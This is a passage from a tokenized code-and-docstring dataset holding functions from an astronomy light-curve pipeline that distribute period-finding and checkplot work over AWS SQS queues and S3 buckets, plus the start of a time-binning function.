recv['<STR_LIT>']['<STR_LIT>']<EOL>outbucket = recv['<STR_LIT>']['<STR_LIT>']<EOL>if '<STR_LIT>' in recv['<STR_LIT>']:<EOL><INDENT>out_queue_url = recv['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>out_queue_url = None<EOL><DEDENT>receipt = recv['<STR_LIT>']<EOL>try:<EOL><INDENT>lc_filename = awsutils.s3_get_url(<EOL>target,<EOL>altexts=lc_altexts,<EOL>client=s3_client,<EOL>)<EOL>if len(args) > <NUM_LIT:0> and args[<NUM_LIT:0>] is not None:<EOL><INDENT>pf_pickle = awsutils.s3_get_url(<EOL>args[<NUM_LIT:0>],<EOL>client=s3_client<EOL>)<EOL><DEDENT>else:<EOL><INDENT>pf_pickle = None<EOL><DEDENT>cpfs = runcp(<EOL>pf_pickle,<EOL>workdir,<EOL>workdir,<EOL>lcfname=lc_filename,<EOL>lclistpkl=lclistpkl,<EOL>makeneighborlcs=False,<EOL>**kwargs<EOL>)<EOL>if cpfs and all(os.path.exists(x) for x in cpfs):<EOL><INDENT>LOGINFO('<STR_LIT>' %<EOL>(lc_filename, pf_pickle, cpfs))<EOL>resp = s3_client.list_objects_v2(<EOL>Bucket=outbucket,<EOL>MaxKeys=<NUM_LIT:1>,<EOL>Prefix=cpfs[<NUM_LIT:0>]<EOL>)<EOL>outbucket_list = resp.get('<STR_LIT>',[])<EOL>if outbucket_list and len(outbucket_list) > <NUM_LIT:0>:<EOL><INDENT>LOGWARNING(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% target<EOL>)<EOL>awsutils.sqs_delete_item(in_queue_url, receipt)<EOL>continue<EOL><DEDENT>for cpf in cpfs:<EOL><INDENT>put_url = awsutils.s3_put_file(cpf,<EOL>outbucket,<EOL>client=s3_client)<EOL>if put_url is not None:<EOL><INDENT>LOGINFO('<STR_LIT>' % put_url)<EOL>if out_queue_url is not None:<EOL><INDENT>awsutils.sqs_put_item(<EOL>out_queue_url,<EOL>{'<STR_LIT>':put_url,<EOL>'<STR_LIT:target>': target,<EOL>'<STR_LIT>':lc_filename,<EOL>'<STR_LIT>':lclist_pklf,<EOL>'<STR_LIT>':kwargs},<EOL>raiseonfail=True<EOL>)<EOL><DEDENT>os.remove(cpf)<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>' % cpf)<EOL><DEDENT><DEDENT>awsutils.sqs_delete_item(in_queue_url,<EOL>receipt)<EOL>if ( (lc_filename is not None) and<EOL>(os.path.exists(lc_filename)) ):<EOL><INDENT>os.remove(lc_filename)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>' %<EOL>(lc_filename, pf_pickle))<EOL>with open('<STR_LIT>' %<EOL>lc_filename, '<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(<EOL>{'<STR_LIT>':in_queue_url,<EOL>'<STR_LIT:target>':target,<EOL>'<STR_LIT>':lc_filename,<EOL>'<STR_LIT>':lclist_pklf,<EOL>'<STR_LIT>':kwargs,<EOL>'<STR_LIT>':outbucket,<EOL>'<STR_LIT>':out_queue_url},<EOL>outfd, pickle.HIGHEST_PROTOCOL<EOL>)<EOL><DEDENT>put_url = awsutils.s3_put_file(<EOL>'<STR_LIT>' % lc_filename,<EOL>outbucket,<EOL>client=s3_client<EOL>)<EOL>if out_queue_url is not None:<EOL><INDENT>awsutils.sqs_put_item(<EOL>out_queue_url,<EOL>{'<STR_LIT>':put_url,<EOL>'<STR_LIT>':lc_filename,<EOL>'<STR_LIT>':lclist_pklf,<EOL>'<STR_LIT>':kwargs},<EOL>raiseonfail=True<EOL>)<EOL><DEDENT>awsutils.sqs_delete_item(in_queue_url,<EOL>receipt,<EOL>raiseonfail=True)<EOL>if ( (lc_filename is not None) and<EOL>(os.path.exists(lc_filename)) ):<EOL><INDENT>os.remove(lc_filename)<EOL><DEDENT><DEDENT><DEDENT>except ClientError as e:<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL>break<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>')<EOL>if '<STR_LIT>' in locals():<EOL><INDENT>with open('<STR_LIT>' %<EOL>lc_filename,'<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(<EOL>{'<STR_LIT>':in_queue_url,<EOL>'<STR_LIT:target>':target,<EOL>'<STR_LIT>':lc_filename,<EOL>'<STR_LIT>':lclist_pklf,<EOL>'<STR_LIT>':kwargs,<EOL>'<STR_LIT>':outbucket,<EOL>'<STR_LIT>':out_queue_url},<EOL>outfd, pickle.HIGHEST_PROTOCOL<EOL>)<EOL><DEDENT>put_url = awsutils.s3_put_file(<EOL>'<STR_LIT>' % lc_filename,<EOL>outbucket,<EOL>client=s3_client<EOL>)<EOL>if out_queue_url is not None:<EOL><INDENT>awsutils.sqs_put_item(<EOL>out_queue_url,<EOL>{'<STR_LIT>':put_url,<EOL>'<STR_LIT>':lc_filename,<EOL>'<STR_LIT>':lclist_pklf,<EOL>'<STR_LIT>':kwargs},<EOL>raiseonfail=True<EOL>)<EOL><DEDENT>if ( (lc_filename is not None) and<EOL>(os.path.exists(lc_filename)) ):<EOL><INDENT>os.remove(lc_filename)<EOL><DEDENT><DEDENT>awsutils.sqs_delete_item(in_queue_url,<EOL>receipt,<EOL>raiseonfail=True)<EOL><DEDENT><DEDENT><DEDENT>except KeyboardInterrupt:<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL>break<EOL><DEDENT>except ClientError as e:<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL>break<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>')<EOL>if '<STR_LIT>' in locals():<EOL><INDENT>with open('<STR_LIT>' %<EOL>lc_filename,'<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(<EOL>{'<STR_LIT>':in_queue_url,<EOL>'<STR_LIT:target>':target,<EOL>'<STR_LIT>':lclist_pklf,<EOL>'<STR_LIT>':kwargs,<EOL>'<STR_LIT>':outbucket,<EOL>'<STR_LIT>':out_queue_url},<EOL>outfd, pickle.HIGHEST_PROTOCOL<EOL>)<EOL><DEDENT>put_url = awsutils.s3_put_file(<EOL>'<STR_LIT>' % lc_filename,<EOL>outbucket,<EOL>client=s3_client<EOL>)<EOL>if out_queue_url is not None:<EOL><INDENT>awsutils.sqs_put_item(<EOL>out_queue_url,<EOL>{'<STR_LIT>':put_url,<EOL>'<STR_LIT>':lclist_pklf,<EOL>'<STR_LIT>':kwargs},<EOL>raiseonfail=True<EOL>)<EOL><DEDENT>if ( (lc_filename is not None) and<EOL>(os.path.exists(lc_filename)) ):<EOL><INDENT>os.remove(lc_filename)<EOL><DEDENT><DEDENT>awsutils.sqs_delete_item(in_queue_url, receipt, raiseonfail=True)<EOL><DEDENT><DEDENT>", "docstring": "This runs checkplot pickle making in a loop until interrupted.\n\n    Consumes work task items from an input queue set up by `runcp_producer_loop`\n    above. For the moment, we don't generate neighbor light curves since this\n    would require a lot more S3 calls.\n\n    Parameters\n    ----------\n\n    in_queue_url : str\n        The SQS URL of the input queue to listen to for work assignment\n        messages. The task orders will include the input and output S3 bucket\n        names, as well as the URL of the output queue to where this function\n        will report its work-complete or work-failed status.\n\n    workdir : str\n        The directory on the local machine where this worker loop will download\n        the input light curves and associated period-finder results (if any),\n        process them, and produce its output checkplot pickles. These will then\n        be uploaded to the specified S3 output bucket and then deleted from the\n        workdir when the upload is confirmed to make it safely to S3.\n\n    lclist_pkl : str\n        S3 URL of a catalog pickle generated by `lcproc.catalogs.make_lclist`\n        that contains objectids and coordinates, as well as a kdtree for all of\n        the objects in the current light curve collection being processed. This\n        is used to look up neighbors for each object being processed.\n\n    lc_altexts : sequence of str\n        If not None, this is a sequence of alternate extensions to try for the\n        input light curve file other than the one provided in the input task\n        order. For example, to get anything that's an .sqlite where .sqlite.gz\n        is expected, use altexts=[''] to strip the .gz.\n\n    wait_time_seconds : int\n        The amount of time to wait in the input SQS queue for an input task\n        order. If this timeout expires and no task has been received, this\n        function goes back to the top of the work loop.\n\n    cache_clean_timer_seconds : float\n        The amount of time in seconds to wait before periodically removing old\n        files (such as finder chart FITS, external service result pickles) from\n        the astrobase cache directory. These accumulate as the work items are\n        processed, and take up significant space, so must be removed\n        periodically.\n\n    shutdown_check_timer_seconds : float\n        The amount of time to wait before checking for a pending EC2 shutdown\n        message for the instance this worker loop is operating on. If a shutdown\n        is noticed, the worker loop is cancelled in preparation for instance\n        shutdown.\n\n    sqs_client : boto3.Client or None\n        If None, this function will instantiate a new `boto3.Client` object to\n        use in its SQS operations. Alternatively, pass in an existing\n        `boto3.Client` instance to re-use it here.\n\n    s3_client : boto3.Client or None\n        If None, this function will instantiate a new `boto3.Client` object to\n        use in its S3 operations. Alternatively, pass in an existing\n        `boto3.Client` instance to re-use it here.\n\n    Returns\n    -------\n\n    Nothing.", "id": "f14704:m5"}
{"signature": "def runpf_producer_loop(<EOL>lightcurve_list,<EOL>input_queue,<EOL>input_bucket,<EOL>result_queue,<EOL>result_bucket,<EOL>pfmethods=('<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>','<STR_LIT>'),<EOL>pfkwargs=({}, {}, {}, {}, {}),<EOL>extra_runpf_kwargs={'<STR_LIT>':True},<EOL>process_list_slice=None,<EOL>purge_queues_when_done=False,<EOL>delete_queues_when_done=False,<EOL>download_when_done=True,<EOL>save_state_when_done=True,<EOL>s3_client=None,<EOL>sqs_client=None<EOL>):", "body": "if not sqs_client:<EOL><INDENT>sqs_client = boto3.client('<STR_LIT>')<EOL><DEDENT>if not s3_client:<EOL><INDENT>s3_client = boto3.client('<STR_LIT>')<EOL><DEDENT>if isinstance(lightcurve_list, str) and os.path.exists(lightcurve_list):<EOL><INDENT>with open(lightcurve_list, '<STR_LIT:r>') as infd:<EOL><INDENT>lclist = infd.readlines()<EOL><DEDENT>lclist = [x.replace('<STR_LIT:\\n>','<STR_LIT>') for x in lclist if len(x) > <NUM_LIT:0>]<EOL>if process_list_slice is not None:<EOL><INDENT>lclist = lclist[process_list_slice[<NUM_LIT:0>]:process_list_slice[<NUM_LIT:1>]]<EOL><DEDENT>lclist = [x[<NUM_LIT:1>:] for x in lclist if x.startswith('<STR_LIT:/>')]<EOL>lclist = ['<STR_LIT>' % (input_bucket, x) for x in lclist]<EOL><DEDENT>elif isinstance(lightcurve_list, list):<EOL><INDENT>lclist = lightcurve_list<EOL><DEDENT>try:<EOL><INDENT>inq = sqs_client.get_queue_url(QueueName=input_queue)<EOL>inq_url = inq['<STR_LIT>']<EOL>LOGINFO('<STR_LIT>')<EOL><DEDENT>except ClientError as e:<EOL><INDENT>inq = awsutils.sqs_create_queue(input_queue, client=sqs_client)<EOL>inq_url = inq['<STR_LIT:url>']<EOL><DEDENT>try:<EOL><INDENT>outq = sqs_client.get_queue_url(QueueName=result_queue)<EOL>outq_url = outq['<STR_LIT>']<EOL>LOGINFO('<STR_LIT>')<EOL><DEDENT>except ClientError as e:<EOL><INDENT>outq = awsutils.sqs_create_queue(result_queue, client=sqs_client)<EOL>outq_url = outq['<STR_LIT:url>']<EOL><DEDENT>LOGINFO('<STR_LIT>' % inq_url)<EOL>LOGINFO('<STR_LIT>' % outq_url)<EOL>LOGINFO('<STR_LIT>')<EOL>time.sleep(<NUM_LIT>)<EOL>all_runpf_kwargs = {'<STR_LIT>':pfmethods,<EOL>'<STR_LIT>':pfkwargs}<EOL>if isinstance(extra_runpf_kwargs, dict):<EOL><INDENT>all_runpf_kwargs.update(extra_runpf_kwargs)<EOL><DEDENT>for lc in lclist:<EOL><INDENT>this_item = {<EOL>'<STR_LIT:target>': lc,<EOL>'<STR_LIT:action>': '<STR_LIT>',<EOL>'<STR_LIT:args>': ('<STR_LIT:.>',),<EOL>'<STR_LIT>':all_runpf_kwargs,<EOL>'<STR_LIT>': result_bucket,<EOL>'<STR_LIT>': outq_url<EOL>}<EOL>resp = awsutils.sqs_put_item(inq_url, this_item, client=sqs_client)<EOL>if resp:<EOL><INDENT>LOGINFO('<STR_LIT>' % (lc, inq_url))<EOL><DEDENT><DEDENT>done_objects = {}<EOL>LOGINFO('<STR_LIT>')<EOL>signal.signal(signal.SIGINT, kill_handler)<EOL>signal.signal(signal.SIGTERM, kill_handler)<EOL>while len(list(done_objects.keys())) < len(lclist):<EOL><INDENT>try:<EOL><INDENT>result = awsutils.sqs_get_item(outq_url, client=sqs_client)<EOL>if result is not None and len(result) > <NUM_LIT:0>:<EOL><INDENT>recv = result[<NUM_LIT:0>]<EOL>try:<EOL><INDENT>processed_object = recv['<STR_LIT>']['<STR_LIT:target>']<EOL><DEDENT>except KeyError:<EOL><INDENT>LOGWARNING('<STR_LIT>' % recv)<EOL>processed_object = '<STR_LIT>'<EOL><DEDENT>pfresult = recv['<STR_LIT>']['<STR_LIT>']<EOL>receipt = recv['<STR_LIT>']<EOL>if processed_object in lclist:<EOL><INDENT>if processed_object not in done_objects:<EOL><INDENT>done_objects[processed_object] = [pfresult]<EOL><DEDENT>else:<EOL><INDENT>done_objects[processed_object].append(pfresult)<EOL><DEDENT>LOGINFO('<STR_LIT>' % (processed_object, pfresult))<EOL>if download_when_done:<EOL><INDENT>getobj = awsutils.s3_get_url(<EOL>pfresult,<EOL>client=s3_client<EOL>)<EOL>LOGINFO('<STR_LIT>' % (pfresult, getobj))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>awsutils.sqs_delete_item(outq_url, receipt)<EOL><DEDENT><DEDENT>except KeyboardInterrupt as e:<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL>break<EOL><DEDENT><DEDENT>LOGINFO('<STR_LIT>')<EOL>time.sleep(<NUM_LIT:1.0>)<EOL>if purge_queues_when_done:<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL>sqs_client.purge_queue(QueueUrl=inq_url)<EOL>sqs_client.purge_queue(QueueUrl=outq_url)<EOL>time.sleep(<NUM_LIT>)<EOL><DEDENT>if delete_queues_when_done:<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL>awsutils.sqs_delete_queue(inq_url)<EOL>awsutils.sqs_delete_queue(outq_url)<EOL><DEDENT>work_state = {<EOL>'<STR_LIT>': done_objects,<EOL>'<STR_LIT>': list(set(lclist) - set(done_objects.keys())),<EOL>'<STR_LIT:args>':((os.path.abspath(lightcurve_list) if<EOL>isinstance(lightcurve_list, str) else lightcurve_list),<EOL>input_queue,<EOL>input_bucket,<EOL>result_queue,<EOL>result_bucket),<EOL>'<STR_LIT>':{'<STR_LIT>':pfmethods,<EOL>'<STR_LIT>':pfkwargs,<EOL>'<STR_LIT>':extra_runpf_kwargs,<EOL>'<STR_LIT>':process_list_slice,<EOL>'<STR_LIT>':purge_queues_when_done,<EOL>'<STR_LIT>':delete_queues_when_done,<EOL>'<STR_LIT>':download_when_done,<EOL>'<STR_LIT>':save_state_when_done}<EOL>}<EOL>if save_state_when_done:<EOL><INDENT>with open('<STR_LIT>','<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(work_state, outfd, pickle.HIGHEST_PROTOCOL)<EOL><DEDENT><DEDENT>return work_state<EOL>", "docstring": "This queues up work for period-finders using SQS.\n\n    Parameters\n    ----------\n\n    lightcurve_list : str or list of str\n        This is either a string pointing to a file containing a list of light\n        curves filenames to process or the list itself. The names must\n        correspond to the full filenames of files stored on S3, including all\n        prefixes, but not include the 's3://<bucket name>/' bit (these will be\n        added automatically).\n\n    input_queue : str\n        This is the name of the SQS queue which will receive processing tasks\n        generated by this function. The queue URL will automatically be obtained\n        from AWS.\n\n    input_bucket : str\n        The name of the S3 bucket containing the light curve files to process.\n\n    result_queue : str\n        This is the name of the SQS queue that this function will listen to for\n        messages from the workers as they complete processing on their input\n        elements. This function will attempt to match input sent to the\n        `input_queue` with results coming into the `result_queue` so it knows\n        how many objects have been successfully processed. If this function\n        receives task results that aren't in its own input queue, it will\n        acknowledge them so they complete successfully, but not download them\n        automatically. This handles leftover tasks completing from a previous\n        run of this function.\n\n    result_bucket : str\n        The name of the S3 bucket which will receive the results from the\n        workers.\n\n    pfmethods : sequence of str\n        This is a list of period-finder method short names as listed in the\n        `lcproc.periodfinding.PFMETHODS` dict. This is used to tell the worker\n        loop which period-finders to run on the input light curve.\n\n    pfkwargs : sequence of dicts\n        This contains optional kwargs as dicts to be supplied to all of the\n        period-finder functions listed in `pfmethods`. This should be the same\n        length as that sequence.\n\n    extra_runpf_kwargs : dict\n        This is a dict of kwargs to be supplied to `runpf` driver function\n        itself.\n\n    process_list_slice : list\n        This is used to index into the input light curve list so a subset of the\n        full list can be processed in this specific run of this function.\n\n        Use None for a slice index elem to emulate single slice spec behavior:\n\n        process_list_slice = [10, None]  -> lightcurve_list[10:]\n        process_list_slice = [None, 500] -> lightcurve_list[:500]\n\n    purge_queues_when_done : bool\n        If this is True, and this function exits (either when all done, or when\n        it is interrupted with a Ctrl+C), all outstanding elements in the\n        input/output queues that have not yet been acknowledged by workers or by\n        this function will be purged. This effectively cancels all outstanding\n        work.\n\n    delete_queues_when_done : bool\n        If this is True, and this function exits (either when all done, or when\n        it is interrupted with a Ctrl+C'), all outstanding work items will be\n        purged from the input/queues and the queues themselves will be deleted.\n\n    download_when_done : bool\n        If this is True, the generated periodfinding result pickle for each\n        input work item will be downloaded immediately to the current working\n        directory when the worker functions report they're done with it.\n\n    save_state_when_done : bool\n        If this is True, will save the current state of the work item queue and\n        the work items acknowledged as completed to a pickle in the current\n        working directory. Call the `runcp_producer_loop_savedstate` function\n        below to resume processing from this saved state later.\n\n    s3_client : boto3.Client or None\n        If None, this function will instantiate a new `boto3.Client` object to\n        use in its S3 download operations. Alternatively, pass in an existing\n        `boto3.Client` instance to re-use it here.\n\n    sqs_client : boto3.Client or None\n        If None, this function will instantiate a new `boto3.Client` object to\n        use in its SQS operations. Alternatively, pass in an existing\n        `boto3.Client` instance to re-use it here.\n\n    Returns\n    -------\n\n    dict or str\n        Returns the current work state as a dict or str path to the generated\n        work state pickle depending on if `save_state_when_done` is True.", "id": "f14704:m6"}
{"signature": "def runpf_consumer_loop(<EOL>in_queue_url,<EOL>workdir,<EOL>lc_altexts=('<STR_LIT>',),<EOL>wait_time_seconds=<NUM_LIT:5>,<EOL>shutdown_check_timer_seconds=<NUM_LIT>,<EOL>sqs_client=None,<EOL>s3_client=None<EOL>):", "body": "if not sqs_client:<EOL><INDENT>sqs_client = boto3.client('<STR_LIT>')<EOL><DEDENT>if not s3_client:<EOL><INDENT>s3_client = boto3.client('<STR_LIT>')<EOL><DEDENT>signal.signal(signal.SIGINT, kill_handler)<EOL>signal.signal(signal.SIGTERM, kill_handler)<EOL>shutdown_last_time = time.monotonic()<EOL>while True:<EOL><INDENT>curr_time = time.monotonic()<EOL>if (curr_time - shutdown_last_time) > shutdown_check_timer_seconds:<EOL><INDENT>shutdown_check = shutdown_check_handler()<EOL>if shutdown_check:<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL>break<EOL><DEDENT>shutdown_last_time = time.monotonic()<EOL><DEDENT>try:<EOL><INDENT>work = awsutils.sqs_get_item(in_queue_url,<EOL>client=sqs_client,<EOL>raiseonfail=True)<EOL>if work is not None and len(work) > <NUM_LIT:0>:<EOL><INDENT>recv = work[<NUM_LIT:0>]<EOL>action = recv['<STR_LIT>']['<STR_LIT:action>']<EOL>if action != '<STR_LIT>':<EOL><INDENT>continue<EOL><DEDENT>target = recv['<STR_LIT>']['<STR_LIT:target>']<EOL>args = recv['<STR_LIT>']['<STR_LIT:args>']<EOL>kwargs = recv['<STR_LIT>']['<STR_LIT>']<EOL>outbucket = recv['<STR_LIT>']['<STR_LIT>']<EOL>if '<STR_LIT>' in recv['<STR_LIT>']:<EOL><INDENT>out_queue_url = recv['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>out_queue_url = None<EOL><DEDENT>receipt = recv['<STR_LIT>']<EOL>try:<EOL><INDENT>lc_filename = awsutils.s3_get_url(<EOL>target,<EOL>altexts=lc_altexts,<EOL>client=s3_client<EOL>)<EOL>runpf_args = (lc_filename, args[<NUM_LIT:0>])<EOL>pfresult = runpf(<EOL>*runpf_args,<EOL>**kwargs<EOL>)<EOL>if pfresult and os.path.exists(pfresult):<EOL><INDENT>LOGINFO('<STR_LIT>' %<EOL>(lc_filename, pfresult))<EOL>resp = s3_client.list_objects_v2(<EOL>Bucket=outbucket,<EOL>MaxKeys=<NUM_LIT:1>,<EOL>Prefix=pfresult<EOL>)<EOL>outbucket_list = resp.get('<STR_LIT>',[])<EOL>if outbucket_list and len(outbucket_list) > <NUM_LIT:0>:<EOL><INDENT>LOGWARNING(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>% target<EOL>)<EOL>awsutils.sqs_delete_item(in_queue_url, receipt)<EOL>continue<EOL><DEDENT>put_url = awsutils.s3_put_file(pfresult,<EOL>outbucket,<EOL>client=s3_client)<EOL>if put_url is not None:<EOL><INDENT>LOGINFO('<STR_LIT>' % put_url)<EOL>if out_queue_url is not None:<EOL><INDENT>awsutils.sqs_put_item(<EOL>out_queue_url,<EOL>{'<STR_LIT>':put_url,<EOL>'<STR_LIT:target>': target,<EOL>'<STR_LIT>':lc_filename,<EOL>'<STR_LIT>':kwargs},<EOL>raiseonfail=True<EOL>)<EOL><DEDENT>os.remove(pfresult)<EOL><DEDENT>else:<EOL><INDENT>LOGERROR('<STR_LIT>' % pfresult)<EOL>os.remove(pfresult)<EOL><DEDENT>awsutils.sqs_delete_item(in_queue_url, receipt)<EOL>if ( (lc_filename is not None) and<EOL>(os.path.exists(lc_filename)) ):<EOL><INDENT>os.remove(lc_filename)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>LOGWARNING('<STR_LIT>' %<EOL>(lc_filename,))<EOL>with open('<STR_LIT>' %<EOL>lc_filename, '<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(<EOL>{'<STR_LIT>':in_queue_url,<EOL>'<STR_LIT:target>':target,<EOL>'<STR_LIT>':lc_filename,<EOL>'<STR_LIT>':kwargs,<EOL>'<STR_LIT>':outbucket,<EOL>'<STR_LIT>':out_queue_url},<EOL>outfd, pickle.HIGHEST_PROTOCOL<EOL>)<EOL><DEDENT>put_url = awsutils.s3_put_file(<EOL>'<STR_LIT>' % lc_filename,<EOL>outbucket,<EOL>client=s3_client<EOL>)<EOL>if out_queue_url is not None:<EOL><INDENT>awsutils.sqs_put_item(<EOL>out_queue_url,<EOL>{'<STR_LIT>':put_url,<EOL>'<STR_LIT>':lc_filename,<EOL>'<STR_LIT>':kwargs},<EOL>raiseonfail=True<EOL>)<EOL><DEDENT>awsutils.sqs_delete_item(in_queue_url,<EOL>receipt,<EOL>raiseonfail=True)<EOL>if ( (lc_filename is not None) and<EOL>(os.path.exists(lc_filename)) ):<EOL><INDENT>os.remove(lc_filename)<EOL><DEDENT><DEDENT><DEDENT>except ClientError as e:<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL>break<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>')<EOL>if '<STR_LIT>' in locals():<EOL><INDENT>with open('<STR_LIT>' %<EOL>lc_filename,'<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(<EOL>{'<STR_LIT>':in_queue_url,<EOL>'<STR_LIT:target>':target,<EOL>'<STR_LIT>':lc_filename,<EOL>'<STR_LIT>':kwargs,<EOL>'<STR_LIT>':outbucket,<EOL>'<STR_LIT>':out_queue_url},<EOL>outfd, pickle.HIGHEST_PROTOCOL<EOL>)<EOL><DEDENT>put_url = awsutils.s3_put_file(<EOL>'<STR_LIT>' % lc_filename,<EOL>outbucket,<EOL>client=s3_client<EOL>)<EOL>if out_queue_url is not None:<EOL><INDENT>awsutils.sqs_put_item(<EOL>out_queue_url,<EOL>{'<STR_LIT>':put_url,<EOL>'<STR_LIT>':lc_filename,<EOL>'<STR_LIT>':kwargs},<EOL>raiseonfail=True<EOL>)<EOL><DEDENT>if ( (lc_filename is not None) and<EOL>(os.path.exists(lc_filename)) ):<EOL><INDENT>os.remove(lc_filename)<EOL><DEDENT><DEDENT>awsutils.sqs_delete_item(in_queue_url,<EOL>receipt,<EOL>raiseonfail=True)<EOL><DEDENT><DEDENT><DEDENT>except KeyboardInterrupt:<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL>break<EOL><DEDENT>except ClientError as e:<EOL><INDENT>LOGWARNING('<STR_LIT>')<EOL>break<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION('<STR_LIT>')<EOL>if '<STR_LIT>' in locals():<EOL><INDENT>with open('<STR_LIT>' %<EOL>lc_filename,'<STR_LIT:wb>') as outfd:<EOL><INDENT>pickle.dump(<EOL>{'<STR_LIT>':in_queue_url,<EOL>'<STR_LIT:target>':target,<EOL>'<STR_LIT>':kwargs,<EOL>'<STR_LIT>':outbucket,<EOL>'<STR_LIT>':out_queue_url},<EOL>outfd, pickle.HIGHEST_PROTOCOL<EOL>)<EOL><DEDENT>put_url = awsutils.s3_put_file(<EOL>'<STR_LIT>' % lc_filename,<EOL>outbucket,<EOL>client=s3_client<EOL>)<EOL>if out_queue_url is not None:<EOL><INDENT>awsutils.sqs_put_item(<EOL>out_queue_url,<EOL>{'<STR_LIT>':put_url,<EOL>'<STR_LIT>':kwargs},<EOL>raiseonfail=True<EOL>)<EOL><DEDENT>if ( (lc_filename is not None) and<EOL>(os.path.exists(lc_filename)) ):<EOL><INDENT>os.remove(lc_filename)<EOL><DEDENT><DEDENT>awsutils.sqs_delete_item(in_queue_url, receipt, raiseonfail=True)<EOL><DEDENT><DEDENT>", "docstring": "This runs period-finding in a loop until interrupted.\n\n    Consumes work task items from an input queue set up by `runpf_producer_loop`\n    above.\n\n    Parameters\n    ----------\n\n    in_queue_url : str\n        The SQS URL of the input queue to listen to for work assignment\n        messages. The task orders will include the input and output S3 bucket\n        names, as well as the URL of the output queue to where this function\n        will report its work-complete or work-failed status.\n\n    workdir : str\n        The directory on the local machine where this worker loop will download\n        the input light curves, process them, and produce its output\n        periodfinding result pickles. These will then be uploaded to the\n        specified S3 output bucket, and then deleted from the local disk.\n\n    lc_altexts : sequence of str\n        If not None, this is a sequence of alternate extensions to try for the\n        input light curve file other than the one provided in the input task\n        order. For example, to get anything that's an .sqlite where .sqlite.gz\n        is expected, use altexts=[''] to strip the .gz.\n\n    wait_time_seconds : int\n        The amount of time to wait in the input SQS queue for an input task\n        order. If this timeout expires and no task has been received, this\n        function goes back to the top of the work loop.\n\n    shutdown_check_timer_seconds : float\n        The amount of time to wait before checking for a pending EC2 shutdown\n        message for the instance this worker loop is operating on. If a shutdown\n        is noticed, the worker loop is cancelled in preparation for instance\n        shutdown.\n\n    sqs_client : boto3.Client or None\n        If None, this function will instantiate a new `boto3.Client` object to\n        use in its SQS operations. Alternatively, pass in an existing\n        `boto3.Client` instance to re-use it here.\n\n    s3_client : boto3.Client or None\n        If None, this function will instantiate a new `boto3.Client` object to\n        use in its S3 operations. Alternatively, pass in an existing\n        `boto3.Client` instance to re-use it here.\n\n    Returns\n    -------\n\n    Nothing.", "id": "f14704:m7"}
{"signature": "def timebinlc(lcfile,<EOL>binsizesec,<EOL>outdir=None,<EOL>lcformat='<STR_LIT>',<EOL>lcformatdir=None,<EOL>timecols=None,<EOL>magcols=None,<EOL>errcols=None,<EOL>minbinelems=<NUM_LIT:7>):", "body": "try:<EOL><INDENT>formatinfo = get_lcformat(lcformat,<EOL>use_lcformat_dir=lcformatdir)<EOL>if formatinfo:<EOL><INDENT>(dfileglob, readerfunc,<EOL>dtimecols, dmagcols, derrcols,<EOL>magsarefluxes, normfunc) = formatinfo<EOL><DEDENT>else:<EOL><INDENT>LOGERROR(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>LOGEXCEPTION(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>if timecols is None:<EOL><INDENT>timecols = dtimecols<EOL><DEDENT>if magcols is None:<EOL><INDENT>magcols = dmagcols<EOL><DEDENT>if errcols is None:<EOL><INDENT>errcols = derrcols<EOL><DEDENT>lcdict = readerfunc(lcfile)<EOL>if ( (isinstance(lcdict, (list, tuple))) and<EOL>(isinstance(lcdict[<NUM_LIT:0>], dict)) ):<EOL><INDENT>lcdict = lcdict[<NUM_LIT:0>]<EOL><DEDENT>if '<STR_LIT>' in lcdict:<EOL><INDENT>LOGERROR('<STR_LIT>')<EOL>return None<EOL><DEDENT>lcdict['<STR_LIT>'] = {}<EOL>for tcol, mcol, ecol in zip(timecols, magcols, errcols):<EOL><INDENT>if '<STR_LIT:.>' in tcol:<EOL><INDENT>tcolget = tcol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>tcolget = [tcol]<EOL><DEDENT>times = _dict_get(lcdict, tcolget)<EOL>if '<STR_LIT:.>' in mcol:<EOL><INDENT>mcolget = mcol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>mcolget = [mcol]<EOL><DEDENT>mags = _dict_get(lcdict, mcolget)<EOL>if '<STR_LIT:.>' in ecol:<EOL><INDENT>ecolget = ecol.split('<STR_LIT:.>')<EOL><DEDENT>else:<EOL><INDENT>ecolget = [ecol]<EOL><DEDENT>errs = _dict_get(lcdict, ecolget)<EOL>if normfunc is None:<EOL><INDENT>ntimes, nmags = normalize_magseries(<EOL>times, mags,<EOL>magsarefluxes=magsarefluxes<EOL>)<EOL>times, mags, errs = ntimes, nmags, 